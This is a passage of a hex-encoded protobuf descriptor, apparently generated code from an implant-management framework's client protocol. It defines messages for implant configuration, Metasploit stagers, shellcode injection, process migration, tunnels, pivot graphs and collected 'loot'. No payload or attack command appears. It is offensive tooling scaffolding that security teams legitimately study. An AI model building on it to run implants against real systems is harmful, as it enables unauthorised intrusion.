0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, - 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, - 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, - 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, - 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, - 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, - 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, - 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, - 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, - 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, - 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, - 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, - 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, - 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, - 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, - 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, - 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, - 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, - 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, - 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, - 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, - 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, - 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, - 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, - 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x52, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, - 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, - 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, - 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, - 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, - 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, - 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, - 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, - 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, - 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, - 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 